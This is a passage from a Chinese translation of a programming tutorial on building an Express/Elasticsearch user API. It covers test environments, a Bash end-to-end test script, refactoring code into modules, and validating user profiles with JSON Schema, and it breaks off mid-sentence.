ELASTICSEARCH_INDEX=test
最后,更新我们的 test
脚本,在默认之前加载测试环境。
"test:e2e": "dotenv -e test.env -e .env cucumber-js -- spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps",
停止 API 服务器,并使用以下命令重新启动它:
$ npx dotenv -e test.env yarn run watch
再次运行我们的端到端测试,它们应该全部通过。现在唯一的区别是测试根本不会影响我们的开发索引!
最后,为了整理一下,让我们将所有环境文件移动到一个名为 envs
的新目录中,并更新我们的 .gitignore
以忽略所有具有 .env
扩展名的文件:
$ mkdir envs && mv -t envs .env .env.example test.env test.env.example
$ sed -i 's/^.env$/*.env/g' .gitignore
当然,您还需要更新您的 serve
和 test
脚本:
"serve": "yarn run build && dotenv -e envs/.env node dist/index.js",
"test:e2e": "dotenv -e envs/test.env -e envs/.env cucumber-js -- spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps",
再次运行测试并确保它们通过。一旦您满意,将这些更改提交到 Git:
$ git add -A && git commit -m "Use test index for E2E tests"
分离开发和测试服务器
干得好。使用测试数据库确实是一个进步,但我们的测试工作流程仍然不连贯。目前,为了运行我们的测试,我们需要停止我们的开发 API 服务器,设置环境变量,然后重新启动它。同样,一旦测试完成,我们还需要停止并重新启动它,以使用开发环境。
理想情况下,我们应该运行两个独立的 API 服务器实例——一个用于开发,一个用于测试——每个都绑定到自己的端口。这样,我们就不需要停止和重新启动服务器来运行测试。
为了实现这一点,只需通过在 envs/test.env
和 envs/test.env.example
中添加以下行来覆盖我们的测试环境的 SERVER_PORT
环境变量:
SERVER_PORT=8888
现在,我们可以运行 yarn run watch
来运行我们的开发 API 服务器,并且同时运行 npx dotenv -e envs/test.env yarn run watch
来运行我们的测试 API 服务器。我们不再需要停止和重新启动!
虽然这是一个小的改动,但让我们仍然将其提交到我们的仓库中:
$ git add -A && git commit -m "Run test API server on different port"
创建独立的端到端测试脚本
但,我们还没有完成!我们绝对可以进一步提高我们的测试工作流程。目前,为了运行我们的端到端测试,我们必须确保以下条件:
-
一个 Elasticsearch 实例正在运行
-
我们使用
dotenv-cli
来加载我们的测试环境,然后运行我们的 API 服务器。
虽然我们可以在 README.md
文件中简单地记录这些说明,但如果我们提供一个单独的命令来运行,这将自动加载 Elasticsearch,设置正确的环境,运行我们的 API 服务器,运行我们的测试,并在完成后拆毁一切,这将提供更好的开发者体验。
这似乎逻辑过于复杂,不适合放入一行 npm 脚本;相反,我们可以编写一个 shell 脚本,它允许我们在文件中指定这种逻辑。我们将使用 Bash 作为 shell 语言,因为它是最流行和广泛支持的 shell。
对于 Windows 用户,请确保您已安装 Windows Subsystem for Linux (WSL),它允许您在 Windows 机器上本地运行 GNU/Linux 工具和 Bash 脚本。您可以在 docs.microsoft.com/en-us/windows/wsl/ 找到详细说明。
让我们先创建一个名为 scripts
的新目录,在其内部添加一个名为 e2e.test.sh
的新文件,并设置其文件权限以便可执行:
$ mkdir scripts && touch scripts/e2e.test.sh && chmod +x scripts/e2e.test.sh
然后,更新我们的 test:e2e
npm 脚本来执行 shell 脚本而不是直接运行 cucumber-js
命令:
"test:e2e": "dotenv -e envs/test.env -e envs/.env ./scripts/e2e.test.sh",
Shebang 解释器指令
Shell 脚本的第一行总是 shebang 解释器指令;它基本上告诉我们的 shell 应该使用哪个解释器来解析和运行此脚本文件中包含的指令。
它被称为 shebang 解释器指令,因为它以一个 shebang 开头,它只是一个由两个字符组成的序列:一个井号 (#
) 后跟一个感叹号 (!)。
一些脚本可能用 Perl 或 Python 或其他 shell 变体编写;然而,我们的脚本将用 Bash shell 编写,因此我们应该将指令设置为 bash
可执行文件的位置,我们可以通过运行 /usr/bin/env bash
来获取。因此,在 e2e.test.sh
文件的第一行添加以下 shebang:
#!/usr/bin/env bash
确保 Elasticsearch 正在运行
我们的 API 服务器依赖于一个活跃的 Elasticsearch 实例。因此,在我们启动 API 服务器之前,让我们确保 Elasticsearch 服务是活跃的。在 shebang 行下添加以下检查:
RETRY_INTERVAL=${RETRY_INTERVAL:-0.2}
if ! systemctl --quiet is-active elasticsearch.service; then
sudo systemctl start elasticsearch.service
# Wait until Elasticsearch is ready to respond
until curl --silent $ELASTICSEARCH_HOSTNAME:$ELASTICSEARCH_PORT -w "" -o /dev/null; do
sleep $RETRY_INTERVAL
done
fi
首先,我们使用 systemctl
的 is-active
命令来检查 Elasticsearch 服务是否活跃;如果活跃,命令将以 0
状态退出,如果不活跃,则以非零值退出。
通常,当进程成功执行时,它将以零 (0
) 状态退出;否则,它将以非零状态码退出。在 if
块中,退出代码有特殊含义——0
退出代码表示 true
,非零退出代码表示 false
。
这意味着如果服务不活跃,我们将使用 systemctl
的 start
命令来启动它。然而,Elasticsearch 在能够响应请求之前需要一段时间来初始化。因此,我们使用 curl
轮询其端点,并阻塞下游执行,直到 Elasticsearch 准备就绪。
如果你对命令中的标志感兴趣,可以通过使用 man
命令获取它们的详细文档。尝试运行 man systemctl
、man curl
,甚至 man man
!一些命令也支持 -h
或 --help
标志,它包含较少的信息,但通常更容易理解。
我们将每 0.2 秒重试端点一次。这由 RETRY_INTERVAL
环境变量设置。${RETRY_INTERVAL:-0.2}
语法表示如果环境变量尚未设置,我们应该仅使用 0.2
值;换句话说,0.2
值应作为默认值。
在后台运行测试 API 服务器
接下来,在我们能够运行测试之前,我们必须运行我们的 API 服务器。然而,API 服务器和测试需要同时运行,但终端只能附加一个前台进程组。我们希望这是我们的测试,以便在需要时与之交互(例如,停止测试)。因此,我们需要将我们的 API 服务器作为后台进程运行。
在 Bash(以及其他支持 作业控制 的 shell)中,我们可以通过在命令后附加单个 ampersand (&
) 来将命令作为后台进程运行。因此,在我们的 Elasticsearch 初始化块之后添加以下行:
# Run our API server as a background process
yarn run serve &
检查我们的 API 服务器是否已准备好
接下来,我们需要运行我们的测试。但是,如果我们立即在执行 yarn run serve &
之后进行,它将不会工作:
# This won't work!
yarn run serve &
yarn run test:e2e
这是因为测试是在我们的 API 服务器准备好处理请求之前运行的。因此,就像我们处理 Elasticsearch 服务一样,我们必须在运行测试之前等待我们的 API 服务器准备好。
使用 netstat/ss 检查 API 状态
但是,我们如何知道 API 是否已准备好?我们可以向 API 的一个端点发送请求,看看它是否返回结果。然而,这将使我们的脚本与 API 的实现耦合。更好的方法是通过检查 API 是否正在积极监听服务器端口。我们可以使用 netstat
工具或其替代品 ss
(代表 socket statistics)来完成此操作。这两个命令都用于显示与网络相关的信息,例如打开的连接和套接字端口:
$ netstat -lnt
$ ss -lnt
对于这两个命令,-l
标志将结果限制为仅监听套接字,-n
标志将显示所有主机和端口号作为数值(例如,它将输出 127.0.0.1:631
而不是 127.0.0.1:ipp
),而 -t
标志将过滤掉非 TCP 套接字。最终的结果看起来像这样:
$ netstat -lnt
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:5939 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp6 0 0 ::1:631 :::* LISTEN
tcp6 0 0 :::8888 :::* LISTEN
tcp6 0 0 :::3128 :::* LISTEN
要检查特定端口是否正在监听,我们可以在输出上简单地运行 grep
(例如,ss -lnt | grep -q 8888
)。如果 grep
找到结果,它将以状态码 0
退出;如果没有找到匹配项,它将以非零代码退出。我们可以使用 grep 的这个特性以固定间隔轮询 ss
,直到端口绑定。
在我们的 yarn run serve &
命令下方添加以下块:
RETRY_INTERVAL=0.2
until ss -lnt | grep -q :$SERVER_PORT; do
sleep $RETRY_INTERVAL
done
清理后台进程
在我们可以运行测试之前,我们需要对我们的测试脚本做一些最后的修改。目前,我们正在后台运行 API 服务器。然而,当我们的脚本退出时,API 仍然会继续运行;这意味着我们下次运行 E2E 测试时将得到listen EADDRINUSE :::8888
错误。
因此,在测试脚本退出之前,我们需要终止那个后台进程。这可以通过kill
命令完成。在测试脚本末尾添加以下行:
# Terminate all processes within the same process group by sending a SIGTERM signal
kill -15 0
进程 ID(PID)0
(零)是一个特殊的 PID,它代表与触发信号的进程属于同一进程组内的所有进程。因此,我们之前的命令向同一进程组内的所有进程发送了SIGTERM
信号(其数字代码为15
)。
为了确保没有其他进程绑定到与我们的 API 服务器相同的端口,让我们在 Bash 脚本的开头添加一个检查,如果端口不可用,则立即退出:
# Make sure the port is not already bound
if ss -lnt | grep -q :$SERVER_PORT; then
echo "Another process is already listening to port $SERVER_PORT"
exit 1;
fi
运行我们的测试
最后,我们能够运行我们的测试!在kill
命令之前添加cucumber-js
命令:
npx cucumber-js spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps
您最终的scripts/e2e.test.sh
脚本应如下所示(注释已删除):
#!/usr/bin/env bash
if ss -lnt | grep -q :$SERVER_PORT; then
echo "Another process is already listening to port $SERVER_PORT"
exit 1;
fi
RETRY_INTERVAL=${RETRY_INTERVAL:-0.2}
if ! systemctl is-active --quiet elasticsearch.service; then
sudo systemctl start elasticsearch.service
until curl --silent $ELASTICSEARCH_HOSTNAME:$ELASTICSEARCH_PORT -w "" -o /dev/null; do
sleep $RETRY_INTERVAL
done
fi
yarn run serve &
until ss -lnt | grep -q :$SERVER_PORT; do
sleep $RETRY_INTERVAL
done
npx cucumber-js spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps
kill -15 0
为了双重检查,运行 E2E 测试以确保它们仍然通过。当然,将这些更改提交到 Git:
$ git add -A && git commit -m "Make standalone E2E test script"
摘要
在本章中,我们继续在创建用户端点上的工作。具体来说,我们通过将数据持久化到 Elasticsearch 实现了成功场景。然后,我们通过创建一个 Bash 脚本来自动加载所有依赖项,在运行测试之前重构了我们的测试工作流程。
在下一章中,我们将进一步重构我们的代码,将其分解成更小的单元,并使用 Mocha、Chai 和 Sinon 编写的单元和集成测试来覆盖它们。我们还将继续实现其余的端点,确保我们遵循良好的 API 设计原则。
第七章:模块化我们的代码
在上一章中,我们遵循了 TDD 工作流程并实现了我们 API 的第一个端点——创建用户端点。我们使用 Gherkin 编写了端到端(E2E)测试,使用 Cucumber 测试运行器运行它们,并使用它们来驱动开发。一切正常,但所有代码都包含在一个单一的、单体文件(src/index.js
)中;这不是模块化的,使得我们的项目难以维护,尤其是在我们添加更多端点时。因此,在本章中,我们将把我们的应用程序代码分解成更小的模块。这将允许我们在第八章 编写单元/集成测试中为它们编写 单元 和 集成 测试。
通过遵循本章,你将能够做到以下几件事:
-
将大块代码分解成更小的模块
-
使用 JSON Schema 和 Ajv 定义和验证 JavaScript 对象
模块化我们的代码
如果你查看 src/index.js
文件,你会看到有三个顶级中间件函数——checkEmptyPayload
、checkContentTypeIsSet
和 checkContentTypeIsJson
——以及一个匿名错误处理函数。这些都是我们可以提取到它们自己的模块中的理想候选者。所以,让我们开始吧!
模块化我们的中间件
让我们在名为 create-user/refactor-modules
的新分支中执行这个重构过程:
$ git checkout -b create-user/refactor-modules
然后,在 src/middlewares
中创建一个目录;这是我们存储所有中间件模块的地方。在其内部,创建四个文件——每个中间件函数一个:
$ mkdir -p src/middlewares && cd src/middlewares
$ touch check-empty-payload.js \
check-content-type-is-set.js \
check-content-type-is-json.js \
error-handler.js
然后,将中间件函数从 src/index.js
移动到它们对应的文件中。例如,checkEmptyPayload
函数应该移动到 src/middlewares/check-empty-payload.js
。然后,在每个模块的末尾,将函数作为默认导出导出。例如,error-handler.js
文件将看起来像这样:
function errorHandler(err, req, res, next) {
...
}
export default errorHandler;
现在,回到 src/index.js
并导入这些模块以恢复之前的行为:
import checkEmptyPayload from './middlewares/check-empty-payload';
import checkContentTypeIsSet from './middlewares/check-content-type-is-set';
import checkContentTypeIsJson from './middlewares/check-content-type-is-json';
import errorHandler from './middlewares/error-handler';
...
app.use(errorHandler);
现在,再次运行我们的 E2E 测试,以确保我们没有破坏任何东西。同时,别忘了提交你的代码!
$ git add -A && git commit -m "Extract middlewares into modules"
通过提取中间件函数,我们提高了 src/index.js
文件的可读性。由于我们正确地命名了函数,代码的意图和流程一目了然——你可以从函数名中理解函数的功能。接下来,让我们对请求处理器也做同样的处理。
模块化我们的请求处理器
目前,我们只为POST /users
端点有一个请求处理程序,但到本章结束时,我们将实现更多。将它们全部定义在src/index.js
文件中会导致一个庞大且难以阅读的混乱。因此,让我们将每个请求处理程序定义为其自己的模块。让我们首先在src/handlers/users/create.js
中创建一个文件,并将创建用户请求处理程序提取到其中。之前,请求处理程序是一个匿名箭头函数;现在它在自己的模块中,让我们给它命名为createUser
。最后,以与我们处理中间件相同的方式export
函数。你应该得到类似以下内容:
function createUser(req, res) {
if (
!Object.prototype.hasOwnProperty.call(req.body, 'email')
|| !Object.prototype.hasOwnProperty.call(req.body, 'password')
) {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: 'Payload must contain at least the email and password fields' });
}
...
}
export default createUser;
然后,将createUser
处理程序重新导入到src/index.js
中,并在app.post
内部使用它:
...
import createUser from './handlers/users/create';
...
app.post('/users', createUser);
...
然而,我们的请求处理程序需要一个 Elasticsearch 客户端才能工作。解决这一问题的方法之一是将以下行移动到src/handlers/users/create.js
模块的顶部:
import elasticsearch from 'elasticsearch';
const client = new elasticsearch.Client({ host: ... });
然而,从长远来看,由于我们将有许多请求处理程序,我们不应该为每个处理程序实例化一个单独的客户端实例。相反,我们应该创建一个 Elasticsearch 客户端实例,并将其通过引用传递给每个请求处理程序。
要做到这一点,让我们在src/utils/inject-handler-dependencies.js
中创建一个实用函数,它接受一个请求处理程序函数和 Elasticsearch 客户端,并返回一个新的函数,该函数将调用请求处理程序,并将客户端作为参数之一传递:
function injectHandlerDependencies(handler, db) {
return (req, res) => { handler(req, res, db); };
}
export default injectHandlerDependencies;
这是一个高阶函数的例子,它操作其他函数或返回其他函数。这是可能的,因为函数是 JavaScript 中的一种对象类型,因此被视为一等公民。这意味着你可以像传递任何其他对象一样传递函数,甚至作为函数参数。
要使用它,将其导入我们的src/index.js
文件:
import injectHandlerDependencies from './utils/inject-handler-dependencies';
然后,而不是直接使用createUser
请求处理程序,传递injectHandlerDependencies
返回的处理程序:
# Change this
app.post('/users', createUser);
# To this
app.post('/users', injectHandlerDependencies(createUser, client));
最后,更新请求处理程序本身以使用客户端:
function createUser(req, res, db) {
...
db.index({ ... });
}
再次运行端到端测试,以确保我们没有引入任何错误,然后提交我们的更改:
$ git add -A && git commit -m "Extract request handlers into modules"
单一职责原则
我们已经提取了请求处理程序并将其迁移到自己的模块中。然而,它并不像它本可以的那样模块化;目前,处理程序执行三个功能:
-
验证请求
-
写入数据库
-
生成响应
如果你已经学习过面向对象的设计原则,你无疑会遇到SOLID原则,这是一个代表单一职责、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则的记忆法缩写。
单一职责原则指出,一个模块应该执行一个,并且只有一个,功能。因此,我们应该将验证和数据库逻辑提取到它们自己的专用模块中。
解耦我们的验证逻辑
然而,我们不能直接从src/handlers/users/create.js
复制现有的验证代码而不做修改。这是因为验证代码直接修改了响应对象res
,这意味着验证逻辑和响应逻辑是紧密耦合的。
为了解决这个问题,我们必须在验证逻辑和响应处理器之间定义一个公共的接口。而不是直接修改响应,验证逻辑将生成一个符合此接口的对象,响应处理器将消费此对象以生成适当的响应。
当请求验证失败时,我们可以将其视为一种错误,因为客户端提供了错误的数据负载。因此,我们可以扩展原生的Error
对象来创建一个新的ValidationError
对象,该对象将作为接口。我们不需要提供状态或设置头信息,因为那是请求处理器的工作。我们只需要确保ValidationError
实例将包含message
属性。由于这是Error
的默认行为,我们不需要做太多其他的事情。
创建ValidationError
接口
在src/validators/errors/validation-error.js
中创建一个新的文件,并添加ValidationError
类的定义:
class ValidationError extends Error {
constructor(...params) {
super(...params);
if (Error.captureStackTrace) {
Error.captureStackTrace(this, ValidationError);
}
}
}
export default ValidationError;
上述代码扩展了Error
类以创建自己的类。我们需要这样做,以便区分验证错误(应返回400
响应)和代码中的错误(应返回500
响应)。
将验证逻辑模块化
接下来,在src/validators/users/create.js
中创建一个新的文件,并将请求处理器中的验证块复制到该文件中,将其包裹在其自己的函数内并导出该函数:
function validate (req) {
if (
!Object.prototype.hasOwnProperty.call(req.body, 'email')
|| !Object.prototype.hasOwnProperty.call(req.body, 'password')
) {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: 'Payload must contain at least the email and password fields' });
}
...
}
export default validate;
接下来,从src/validators/errors/validation-error.js
导入ValidationError
类。然后,而不是修改res
对象(它不在作用域内),返回ValidationError
实例。最终的src/validators/users/create.js
文件可能看起来像这样:
import ValidationError from '../errors/validation-error';
function validate(req) {
if (
!Object.prototype.hasOwnProperty.call(req.body, 'email')
|| !Object.prototype.hasOwnProperty.call(req.body, 'password')
) {
return new ValidationError('Payload must contain at least the email and password fields');
}
if (
typeof req.body.email !== 'string'
|| typeof req.body.password !== 'string'
) {
return new ValidationError('The email and password fields must be of type string');
}
if (!/^[\w.+]+@\w+\.\w+$/.test(req.body.email)) {
return new ValidationError('The email field must be a valid email.');
}
return undefined;
}
export default validate;
接下来,我们需要将此函数导入到请求处理器中,并使用它来验证创建用户请求的数据负载。如果验证结果是ValidationError
的实例,则生成400
响应;否则,继续索引用户文档:
import ValidationError from '../../validators/errors/validation-error';
import validate from '../../validators/users/create';
function createUser(req, res, db) {
const validationResults = validate(req);
if (validationResults instanceof ValidationError) {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: validationResults.message });
}
db.index({ ... })
}
export default createUser;
通过提供公共接口,我们已经成功地将验证逻辑从其他代码中解耦。现在,运行端到端测试,如果它们是绿色的,提交我们的更改!
$ git add -A && git commit -m "Decouple validation and response logic"
创建引擎
尽管大部分验证逻辑已经被抽象成一个独立的模块,但请求处理器仍然在处理验证器的结果,与数据库交互,并发送响应;它仍然没有遵循单一职责原则。
请求处理器的唯一任务应该是将请求传递给一个 引擎,该引擎将处理请求,并使用操作的结果进行响应。根据操作的结果,请求处理器应随后向客户端发出适当的响应。
因此,让我们在 src/engines/users
中创建一个新的目录并添加一个 create.js
文件;在内部,定义一个 create
函数并将其导出。这个 create
函数将验证我们的请求并将写入数据库,将操作的结果返回给请求处理器。由于写入数据库是一个异步操作,我们的 create
函数应该返回一个承诺。
尝试自己实现 create
函数,并在此处查看我们的实现:
import ValidationError from '../../validators/errors/validation-error';
import validate from '../../validators/users/create';
function create(req, db) {
const validationResults = validate(req);
if (validationResults instanceof ValidationError) {
return Promise.reject(validationResults);
}
return db.index({
index: process.env.ELASTICSEARCH_INDEX,
type: 'user',
body: req.body,
});
}
export default create;
然后,在 src/handlers/users/create.js
中,导入引擎模块并使用结果生成响应。最终的文件应该看起来像这样:
import ValidationError from '../../validators/errors/validation-error';
import create from '../../engines/users/create';
function createUser(req, res, db) {
create(req, db).then((result) => {
res.status(201);
res.set('Content-Type', 'text/plain');
return res.send(result._id);
}, (err) => {
if (err instanceof ValidationError) {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: err.message });
}
return undefined;
}).catch(() => {
res.status(500);
res.set('Content-Type', 'application/json');
return res.json({ message: 'Internal Server Error' });
});
}
export default createUser;
运行测试以确保它们仍然通过,然后将这些更改提交到 Git:
$ git add -A && git commit -m "Ensure Single-Responsibility Principle for handler"
太棒了!我们现在已经重构了代码,使其更加模块化,并确保每个模块与其他模块解耦!
添加用户配置文件
如果我们回顾创建用户的必要条件,有一个仍然未完成——“用户可以可选地提供配置文件;否则,将为他们创建一个空配置文件”。所以,让我们实现这个要求!
将规范作为测试来编写
我们将首先编写端到端测试开始开发。在前一章中,我们已经测试了一个未提供配置文件的场景。在这些新的端到端测试中,我们将添加两个更多场景,其中客户端提供了一个配置文件对象——一个使用无效配置文件,另一个使用有效配置文件。
因此,我们必须首先决定什么构成了一个有效的配置文件;换句话说,我们的配置文件对象的结构应该是什么?没有正确或错误答案,但为了这本书,我们将使用以下结构:
{
"name": {
"first": <string>,
"last": <string>,
"middle": <string>
},
"summary": <string>,
"bio": <string>
}
所有字段都是可选的,但如果提供了,它们必须是正确的类型。
让我们从测试无效配置文件场景开始。在 spec/cucumber/features/users/create/main.feature
中添加以下场景概述:
Scenario Outline: Invalid Profile
When the client creates a POST request to /users/
And attaches <payload> as the payload
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "The profile provided is invalid."
Examples:
| payload |
| {"email":"e@ma.il","password":"abc","profile":{"foo":"bar"}} |
| {"email":"e@ma.il","password":"abc","profile":{"name":{"first":"Jane","a":"b"}}} |
| {"email":"e@ma.il","password":"abc","profile":{"summary":0}} |
| {"email":"e@ma.il","password":"abc","profile":{"bio":0}} |
这些示例涵盖了属性类型不正确的情况,以及/或者提供了不受支持的属性。
当我们运行这些测试时,And attaches <payload> as the payload
显示为未定义。这个步骤定义应该允许我们将任何任意有效负载附加到请求上。尝试在 spec/cucumber/steps/index.js
中实现这一点,并对照以下解决方案检查你的解决方案:
When(/^attaches (.+) as the payload$/, function (payload) {
this.requestPayload = JSON.parse(payload);
this.request
.send(payload)
.set('Content-Type', 'application/json');
});
再次运行端到端测试,这次,新定义的测试应该会失败。红-绿-重构。我们现在已经编写了一个失败的测试;下一步是实现功能,使其通过测试。
基于模式的验证
我们的测试失败是因为我们的 API 实际上正在将(无效的)配置文件对象写入数据库;相反,我们期望我们的 API 返回一个 400
错误。因此,我们必须为 profile
子文档实现额外的验证步骤。
目前,我们正在使用 if
条件块来验证电子邮件和密码字段。如果我们对我们的新用户对象使用相同的方法,我们就必须编写一个非常长的 if
语句列表,这对可读性很不利。有人也可能认为我们当前的 validation
函数实现已经相当难以阅读,因为它并不立即明显地表明用户对象应该是什么样子。因此,我们需要找到更好的方法。
一种更声明性的验证方式是使用 模式,它只是描述数据结构的一种正式方式。定义了模式之后,我们可以使用验证库来测试请求负载与模式是否匹配,如果不匹配,则返回适当的错误消息。
因此,在本节中,我们将使用模式来验证我们的配置文件对象,然后重构我们现有的所有验证代码以使用基于模式的验证。
模式类型
在 JavaScript 中最常用的模式是 JSON Schema (json-schema.org)。要使用它,你首先定义一个用 JSON 编写的模式,然后使用模式验证库将感兴趣的对象与模式进行比较,以查看它们是否匹配。
但在我们解释 JSON Schema 的语法之前,让我们看看两个主要的 JavaScript 库,它们支持模式验证但不使用 JSON Schema:
joi
(github.com/hapijs/joi
) 允许你以可组合、可链式的方式定义要求,这意味着代码非常易于阅读。它在 GitHub 上有超过 9,000 个星标,并且被超过 94,000 个存储库和 3,300 个包所依赖:
const schema = Joi.object().keys({
username: Joi.string().alphanum().min(3).max(30).required(),
password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),
access_token: [Joi.string(), Joi.number()],
birthyear: Joi.number().integer().min(1900).max(2013),
email: Joi.string().email()
}).with('username', 'birthyear').without('password', 'access_token');
const result = Joi.validate({ username: 'abc', birthyear: 1994 }, schema);
validate.js
(validatejs.org/
) 是另一个非常表达式的验证库,它允许你定义自己的自定义验证函数。它在 GitHub 上有 1,700 个星标,并且被超过 2,700 个存储库和 290 个包所依赖:
var constraints = {
username: {
presence: true,
exclusion: {
within: ["nicklas"],
message: "'%{value}' is not allowed"
}
},
password: {
presence: true,
length: {
minimum: 6,
message: "must be at least 6 characters"
}
}
};
validate({password: "bad"}, constraints);
选择对象模式和验证库
所以在三个选项中,我们应该使用哪一个?为了回答这个问题,我们首先应该考虑它们的 互操作性 和 表达性。
互操作性
互操作性涉及到不同框架、库和语言消费模式有多容易。在这个标准下,JSON Schema 无疑是赢家。
使用标准化模式(如 JSON Schema)的好处是,同一个模式文件可以被多个代码库使用。例如,随着我们平台的增长,我们可能有多个内部服务,每个服务都需要验证用户数据;其中一些甚至可能用另一种语言(例如 Python)编写。
与在不同语言中拥有多个用户模式定义相比,我们可以使用相同的模式文件,因为所有主要语言都有 JSON Schema 验证器:
-
Swift:
JSONSchema.swift
(github.com/kylef-archive/JSONSchema.swift
) -
Java:
json-schema-validator
(github.com/java-json-tools/json-schema-validator) -
Python:
jsonschema
(pypi.python.org/pypi/jsonschema) -
Go:
gojsonschema
(github.com/xeipuuv/gojsonschema)
您可以在 json-schema.org/implementations.html 查看完整的验证器列表。
表达能力
JSON Schema 支持许多验证关键词和数据格式,如 IETF 记忆录 JSON Schema Validation: A Vocabulary for Structural Validation of JSON 所定义(json-schema.org/latest/json-schema-validation.html);然而,由于 JSON 本身的限制,JSON Schema 缺乏以函数形式定义自定义验证逻辑的能力。
例如,JSON Schema 不提供表达以下逻辑的方法:“如果 age
属性小于 18
,则 hasParentalConsent
属性必须设置为 true
。” 因此,如果您想执行更复杂的检查,这些必须在 JavaScript 中的单独函数中完成。或者,一些基于 JSON Schema 的验证库扩展了 JSON Schema 语法,并允许开发者实现自定义验证逻辑。例如,ajv
验证库支持定义自定义关键词。
对于非 JSON Schema 验证库,joi
和 validate.js
都允许您定义自定义验证函数。
因此,尽管在理论上 JSON Schema 的表达能力较弱,但在实践中,所有解决方案的表达能力和灵活性都是相同的。因为 JSON Schema 是一个成熟的行业标准,并且具有更好的互操作性,所以我们将使用它来验证我们的有效载荷。
在撰写本书时,JSON Schema 规范仍处于草案阶段(具体为 draft-07,可在 tools.ietf.org/html/draft-handrews-json-schema-00 找到)。最终规范可能与此处描述的略有不同。请参考 json-schema.org 上的最新版本。
创建我们的配置文件模式
因此,让我们使用 JSON Schema 构建我们的用户配置对象模式。为此,我们首先必须理解其语法。
首先要注意的是,一个 JSON Schema 本身就是一个 JSON 对象。因此,最简单的 JSON Schema 只是一个空对象:
{}
这个空对象模式将允许任何类型的数据,所以它几乎毫无用处。为了使其有用,我们必须描述我们期望的数据类型。这可以通过type
关键字来完成。type
关键字期望其值要么是一个字符串,其中只允许一个类型,要么是一个数组,其中允许数组中指定的任何类型。
我们期望用户个人资料对象的输入仅是对象,因此我们可以指定一个"object"
类型的type
:
{ "type": "object" }
type
是最基本的关键字。还有许多其他适用于所有类型的常见关键字,例如title
;也有特定于类型的关键字,例如maximum
,它仅适用于number
类型的数据。
对于对象类型,我们可以使用特定于类型的properties
关键字来描述我们期望我们的对象包含哪些属性。properties
的值必须是一个对象,其中属性名作为键,另一个有效的 JSON Schema 作为值,称为子模式。在我们的例子中,我们期望bio
和summary
属性是string
类型,而name
属性是object
类型,因此我们的模式看起来像这样:
{
"type": "object",
"properties": {
"bio": { "type": "string" },
"summary": { "type": "string" },
"name": { "type": "object" }
}
}
拒绝额外属性
最后,我们将设置对象特定的additionalProperties
关键字为false
。这将拒绝包含在properties
下未定义的键的对象(例如,isAdmin
):
{
"type": "object",
"properties": {
"bio": { "type": "string" },
"summary": { "type": "string" },
"name": { "type": "object" }
},
"additionalProperties": false
}
将additionalProperties
设置为false
非常重要,尤其是在 Elasticsearch 中。这是因为 Elasticsearch 使用一种称为动态映射的技术来推断其文档的数据类型,并使用它来生成其索引。
Elasticsearch 中的动态映射
要在关系型数据库中创建一个表,你必须指定一个模型,该模型存储有关每个列的名称和数据类型的信息。在插入任何数据之前,必须提供这些信息。
Elasticsearch 有一个类似的概念称为类型映射,它存储有关文档中每个属性名称和数据类型的信息。区别在于我们不需要在插入任何数据之前提供类型映射;事实上,我们根本不需要提供它!这是因为当 Elasticsearch 尝试从正在索引的文档中推断数据类型时,它将将其添加到类型映射中。这种自动检测数据类型并将其添加到类型映射的过程就是我们所说的动态映射。
动态映射是 Elasticsearch 提供的一种便利,但也意味着我们必须在将其索引到 Elasticsearch 之前对数据进行清理和验证。如果我们允许用户向他们的文档添加任意字段,类型映射可能会推断出错误的数据类型,或者被无关字段充斥。此外,由于 Elasticsearch 默认索引每个字段,这可能导致许多无关的索引。
你可以在www.elastic.co/guide/en/elasticsearch/guide/current/dynamic-mapping.html
了解更多关于动态映射的信息。
为子模式添加具体性
目前,我们对name
属性施加的唯一约束是它必须是一个对象。这还不够具体。因为每个属性的值都是另一个有效的 JSON Schema,我们可以为name
属性定义一个更具体的模式:
{
"type": "object",
"properties": {
"bio": { "type": "string" },
"summary": { "type": "string" },
"name": {
"type": "object",
"properties": {
"first": { "type": "string" },
"last": { "type": "string" },
"middle": { "type": "string" }
},
"additionalProperties": false
}
},
"additionalProperties": false
}
此 JSON Schema 满足我们对创建用户请求负载施加的每一个约束。然而,它看起来就像一个任意的 JSON 对象;查看它的人不会立即理解它是一个模式。因此,为了使我们的意图更加明确,我们应该向其中添加标题、描述和一些元数据。
添加标题和描述
首先,我们应该为模式和每个可能需要澄清的属性提供title
和description
关键字。这些关键字不在验证中使用,仅用于为您的模式用户提供上下文:
"title": "User Profile Schema",
"description": "For validating client-provided user profile object when creating and/or updating an user",
指定元模式
接下来,我们应该包括$schema
关键字,它声明 JSON 对象是一个 JSON Schema。它指向一个 URL,该 URL 定义了当前 JSON Schema 必须遵守的元模式。我们选择了json-schema.org/schema#
,它指向 JSON Schema 规范的最新草案:
{ "$schema": "http://json-schema.org/schema#" }
指定一个唯一标识符
最后,我们应该包括$id
关键字,它定义了我们模式的唯一 URI。这个 URI 可以被其他模式用来引用我们的模式,例如,当使用我们的模式作为子模式时。目前,只需将其设置为有效的 URL,最好使用你控制的域名:
"$id": "http://api.hobnob.social/schemas/users/profile.json"
如果您不知道如何购买域名,我们将在第十章部署您的应用程序到 VPS 中向您展示。现在,只需使用一个虚拟域名,如example.com
。
我们完成的 JSON Schema 应该看起来像这样:
{
"$schema": "http://json-schema.org/schema#",
"$id": "http://api.hobnob.social/schemas/users/profile.json",
"title": "User Profile Schema",
"description": "For validating client-provided user profile object
when creating and/or updating an user",
"type": "object",
"properties": {
"bio": { "type": "string" },
"summary": { "type": "string" },
"name": {
"type": "object",
"properties": {
"first": { "type": "string" },
"last": { "type": "string" },
"middle": { "type": "string" }
},
"additionalProperties": false
}
},
"additionalProperties": false
}
将此文件保存到/src/schema/users/profile.json
。
为创建用户请求负载创建一个模式
目前,我们现有的代码仍然使用自定义定义的if
